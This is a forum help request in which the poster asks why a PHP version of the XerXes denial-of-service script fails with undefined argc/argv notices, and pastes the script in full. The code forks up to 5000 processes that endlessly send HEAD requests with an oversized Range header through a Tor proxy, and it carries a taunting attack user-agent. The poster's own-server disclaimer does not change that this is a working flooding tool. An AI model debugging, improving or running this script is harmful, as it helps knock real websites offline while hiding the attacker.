title: Notice: Undefined variable: argc in C:\xampp\htdocs\XerXes.php on line 73 Notice: Undefined variable: argv in C:\xampp\htdocs\XerXes.php on line 73
body: <p>I have recently gotten into DOS attack scripts (How to use them and how to defend from them) and picked up this one called XerXes. I noticed that this has been coded in two different languages .c and .php and I have both. I can get the .c one to work perfectly but not the .php one as I get this error :</p>
  
  <p>Notice: Undefined variable: argc in C:\xampp\htdocs\XerXes.php on line 73</p>
  
  <p>Notice: Undefined variable: argv in C:\xampp\htdocs\XerXes.php on line 73</p>
  
  <p>Here is the script:</p>
  
  <pre><code>&lt;?php
  function usage($argv) {
  print "Usage: php ./{$argv[0]} &lt;number of processes&gt; &lt;url&gt;\n";
  die();
  }
  
  function head($url) {
  while(true) {
  
      $header[]     = "Connection: keep-alive";
      $header[]    = "Transfer-Encoding: chunked";
      $header[]    = "Range: bytes=0-,&lt;SNIP&gt;,1-1299";   //Sniped for site because it is BIG
      $header[]    = "Accept-Encoding: gzip, deflate, compress";
  
      $ch         = curl_init(); 
      curl_setopt($ch, CURLOPT_URL, $url); 
      curl_setopt($ch, CURLOPT_NOBODY, true);
      curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
      curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
      curl_setopt($ch, CURLOPT_VERBOSE, true);
      curl_setopt($ch, CURLOPT_HEADER, true);
      curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);     
      curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
      curl_setopt($ch, CURLINFO_HEADER_OUT, false);
      curl_setopt($ch, CURLOPT_PROXY, "127.0.0.1:9050");
      curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
      curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
      while(true) {
          echo '.';
          curl_setopt($ch, CURLOPT_USERAGENT, "XerXeS Attack Platform - 0wn3d bitch. TANGO DOWN (+http://th3j35t3r.wordpress.com/)");
          curl_exec($ch);    
      }        
      curl_close($ch);
  }
  }
  
  function main($argc, $argv) {
  
  $status = 1;
  
  if ($argc &lt; 3) {
    usage($argv);
  }
  
  if($argv[1] &gt; 5001) {
      echo "MAX OF 5000 threads\n\n";
      die();
  }
  
  $pids = Array();
  echo "URL: ".$argv[2]."\n";
  for ($i = 0; $i &lt; $argv[1]; $i++) {
    $pid = pcntl_fork();
  
    if ($pid == -1) {
  die("ERROR");
    }
    else if ($pid == 0) {
          head($argv[2]);
       exit(0);
    }
    else {
  $pids[] = $pid;
        }
      }
  
  foreach ($pids as $pid) {
    pcntl_waitpid($pid, $status);
  }
  
  }
  
  main($argc, $argv);  //Errors :(
  ?&gt;
  </code></pre>
  
  <p>Any help to resolve this error is appreciated.</p>
  
  <p>PLEASE NOTE: I do not use these codes for attacking servers other than my own for security purposes and how to defend against them. I DO NOT RECOMMEND ANY ONE DDOSing or DOSing.</p>